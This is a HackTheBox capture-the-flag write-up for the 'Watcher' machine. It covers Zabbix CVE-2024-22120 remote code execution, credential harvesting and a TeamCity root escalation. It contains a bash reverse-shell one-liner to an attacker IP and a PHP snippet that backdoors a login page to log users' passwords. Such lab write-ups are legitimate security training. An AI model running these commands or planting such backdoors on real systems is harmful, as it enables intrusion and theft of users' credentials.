Watcher - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Watcher is a medium difficulty Linux machine featuring a vulnerable Zabbix monitoring application. The attack chain exploits CVE-2024-22120 in Zabbix 7.0.0alpha1 to gain Remote Code Execution as the zabbix user. From there, the attacker backdoors the Zabbix web application to capture user credentials, then pivots to a locally running TeamCity instance (accessible via SSH port forwarding). TeamCity’s agent terminal functionality, running with root privileges, provides the final escalation vector.

TL;DR: Guest login in Zabbix → CVE-2024-22120 RCE → Backdoor login page → Harvest credentials → SSH tunnel to TeamCity → Agent terminal RCE as root

Reconnaissance

Port Scanning

# Initial broad scan
ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.129.15.226 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed scan on identified ports
nmap -Pn -p$ports -sC -sV 10.129.15.226

Results:

Port 80 redirects to http://watcher.vl/ — add this to /etc/hosts.

Service Enumeration

The main landing page presents a monitoring application. Running a subdomain enumeration scan reveals additional virtual hosts:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -u http://watcher.vl/ \
  -H 'Host: FUZZ.watcher.vl' \
  -fs 4991

Results: Discovers zabbix.watcher.vl subdomain (Status: 200, Size: 3946)

Adding this to /etc/hosts and accessing it reveals a Zabbix 7.0.0alpha1 monitoring dashboard with guest login enabled.

Vulnerability Assessment

Identified Vulnerabilities:

1. Guest Login Enabled — The Zabbix instance permits unauthenticated access via guest account
2. CVE-2024-22120 — Zabbix 7.0.0alpha1 is vulnerable to Remote Code Execution via this vulnerability
3. Writable Zabbix Installation — The zabbix user has write permissions to /usr/share/zabbix/
4. Exposed TeamCity Instance — Port 8111 runs TeamCity internally (localhost only)
5. TeamCity Running as Root — The TeamCity service executes with root privileges

Initial Foothold

Exploitation Path

Step 1: Extract Session ID

Authenticate as guest and inspect the browser cookie. Base64 decode it to extract the session ID:

# The cookie is automatically set upon guest login
# Example cookie (base64 encoded):
echo 'eyJzZXNzaW9uaWQiOiJhZmM4OTk5MmEyMTQ0OWRiYzRlOWFkNDlhNmFjZmQzYSIsInNlcnZlckNoZWNrUmVzdWx0Ijp0cnVlLCJzZXJ2ZXJDaGVja1RpbWUiOjE3NjU4MDY5NDQsInNpZ24iOiJjNmU1ZTBkNjA4NDZlNGM3YTRkY2Y1Yzk4YmJkMTJiYzhmNjVmOTgzYTM0YzdmMDAzMjdlZmM3YmU0OWMzZjRmIn0=' | base64 -d | jq .

# Output shows: "sessionid":"afc89992a21449dbc4e9ad49a6acfd3a"

Step 2: Identify Host ID

Navigate to the Zabbix Inventory section and locate the “Zabbix Server” host. The Host ID is 10084.

Step 3: Exploit CVE-2024-22120

Using the publicly available exploit with the session ID and host ID:

# Download or create the exploit script (CVE-2024-22120)
python3 exploit.py --ip zabbix.watcher.vl \
  --sid afc89992a21449dbc4e9ad49a6acfd3a \
  --hostid 10084

The exploit initiates an interactive command shell:

(!) sessionid=e29cc8d946f1a3135fe7ceec60d0ff0d1a3135fe7ceec60d0ff0d
[zabbix_cmd]>>: whoami
zabbix

Step 4: Establish Reverse Shell

From the RCE shell, establish a more stable connection:

# On attacker machine - start listener
nc -lnvp 1337

# On target (in the zabbix_cmd shell)
[zabbix_cmd]>>: bash -c "/bin/bash -i >& /dev/tcp/10.10.15.121/1337 0>&1" &

Step 5: Stabilize Shell

# Once connected
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

# Use Ctrl+Z to suspend, then:
stty raw -echo; fg

Step 6: Retrieve User Flag

zabbix@watcher:/$ cat /home/*/user.txt
# or
cat /user.txt

Privilege Escalation

Exploitation Path

Step 1: Backdoor Zabbix Login Page

The zabbix user has write permissions to /usr/share/zabbix/. Modify the login functionality to capture credentials:

zabbix@watcher:/usr/share/zabbix$ cat index.php
# Review the login logic section:
# if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER),
#     getRequest('password', ''))) {

Edit the file to log credentials before authentication:

# Backup original
cp index.php index.php.bak

# Edit index.php and add backdoor code after line with CWebUser::login():
cat > patch.txt << 'EOF'
    // Backdoor - Log credentials
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_POST['name']} | Password: {$_POST['password']}\n");
    fclose($file);
EOF

# Insert the backdoor code into index.php at the appropriate location

Step 2: Harvest Credentials

Wait for a user to log in. After a few minutes, check the creds.txt file:

zabbix@watcher:/usr/share/zabbix$ cat creds.txt
Username: Frank | Password: R%)3S7^Hf4TBobb(gVVs

Step 3: Discover Internal Services

Scan for additional services running locally:

zabbix@watcher:~$ ss -tulnp | grep LISTEN
# Output reveals port 8111 (TeamCity) listening on 127.0.0.1
tcp  LISTEN  [::ffff:127.0.0.1]:8111 *:*

Step 4: SSH Tunnel Setup

Create SSH keys for passwordless tunneling:

zabbix@watcher:~$ ssh-keygen -t rsa -f ~/.ssh/id_rsa -N ""
# Generate keys silently

zabbix@watcher:~/.ssh$ cat id_rsa.pub >> authorized_keys
zabbix@watcher:~/.ssh$ cat id_rsa
# Copy private key to attacker machine

On attacker machine, establish port forwarding:

# Save the private key locally
cat > id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
[PRIVATE KEY CONTENT HERE]
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 id_rsa

# Forward port 8111
ssh -i id_rsa zabbix@watcher.vl -L 8111:127.0.0.1:8111 -N

Step 5: Access TeamCity

With the tunnel active, access TeamCity:

# Verify service
nmap -Pn -sC -sV -p8111 127.0.0.1
# Shows: Apache Tomcat running TeamCity

# Access in browser: http://127.0.0.1:8111
# Login with Frank's credentials: Frank / R%)3S7^Hf4TBobb(gVVs

Step 6: Exploit TeamCity Agent Terminal

From the TeamCity dashboard, navigate to the active agent. Click on Agent Terminal to open an interactive terminal running as root:

# In the Agent Terminal (executes as root)
id
# uid=0(root)

cat /root/root.txt
# Retrieve root flag

Attack Chain Summary

Port Scanning → Subdomain Enumeration (zabbix.watcher.vl)
    ↓
Guest Login Enabled in Zabbix 7.0.0alpha1
    ↓
Extract Session ID from Cookie (base64 decode)
    ↓
Identify Host ID from Inventory (10084)
    ↓
Exploit CVE-2024-22120 → RCE as zabbix user
    ↓
Reverse Shell Connection
    ↓
Backdoor Zabbix index.php Login Page
    ↓
Capture Frank's Credentials (R%)3S7^Hf4TBobb(gVVs)
    ↓
Discover Internal TeamCity (port 8111)
    ↓
SSH Port Forwarding Tunnel
    ↓
TeamCity Login (Frank account)
    ↓
Access Agent Terminal (running as root)
    ↓
Root Shell & Flag

Tools Used

Key Learnings

Techniques Practiced

• Guest account enumeration and exploitation in monitoring platforms
• CVE-2024-22120 exploitation in Zabbix 7.0.0alpha1
• Web application backdooring to harvest credentials
• SSH tunneling for accessing internally-bound services
• DevOps platform (TeamCity) abuse via privileged agent terminals
• Cookie analysis and base64 decoding for session extraction

Lessons Learned

1. Guest accounts are dangerous — Always disable guest/anonymous access in production monitoring tools; they can serve as initial reconnaissance points.

2. Writable application directories are critical — Code execution in web application directories enables trivial privilege escalation if the process runs with elevated privileges.

3. Credential harvesting is effective — Backdooring authentication mechanisms is a powerful lateral movement technique that captures real user credentials.

4. Internal services are often exposed — Localhost-only services should still be considered attack surface if you have code execution; SSH tunneling can expose them.

5. DevOps platforms require strict access control — TeamCity and similar CI/CD platforms often run with elevated privileges; their agent terminals should never be accessible to untrusted users.

6. Defense in depth fails gracefully — Multiple single points of failure (guest login → writable files → credential capture → root service) demonstrate why layered security is essential.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>